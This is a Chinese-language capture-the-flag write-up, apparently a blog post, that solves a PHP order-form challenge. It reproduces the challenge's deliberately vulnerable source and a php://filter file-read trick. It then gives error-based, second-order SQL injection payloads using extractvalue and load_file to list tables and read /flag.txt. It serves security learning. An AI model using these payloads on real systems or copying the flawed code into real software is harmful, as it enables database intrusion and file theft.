前言
emm,最近最主要的学习任务还是将sql注入的知识点再次巩固复习一下。但是,我的队友们总是能找到各种各样的比赛题目来让我打,再加上学校课程实验的压力,这就导致我的sql注入刷题进度搁置了一段时间。其他的闲话就不说了,来看这一次的题目。
正文
首先通过伪协议拿到以下几个文件的源码index.php,change.php,search.php,confirm.php
伪协议的格式如下:
php://filter/read=convert.base64-encode/resource=
(这些源码文件只截取了他们的php代码部分)
<?php
//index.php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<?php
require_once "config.php";
//confirm.php
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
<?php
//change.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<?php
//search.php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
拿到题目源码之后,一直在尝试盲注,结果啥也没注出来。没办法上网看一下师傅们的思路。emm,报错注入加上二次注入。好吧,咱们来试试看。
既然是报错注入和二次注入,肯定是先要把报错注入的查询语句放到对方的后端数据库的,而且这个参数要在查询中再次的被调用。看完上面的几个代码,我们发现address这个参数是没有经过过滤的,而且它直接就把参数返回给后端了。不仅如此,在change.php中它再一次的被调用。所以,综上所述,我们就可以利用address这个参数进行sql注入。
咱们先看一下表名
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
????没flag(这里其实也列了字段,但是没找到flag)
再次求助于网络。。。。哦,文件读取,好吧,我的锅。
' and extractvalue(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e))#
然后再把另外一半给列出来就行了。(就是改一下substr()的参数)
后记
最近真的是接触了很多的二次注入的题目。从二次注入的盲注,到二次注入报错注入,关键点都是要找到一个没有经过严格过滤的参数。只有这样的参数才可以为我们所利用,所以在审计代码的时候,要注意每个参数的过滤以及传参处理。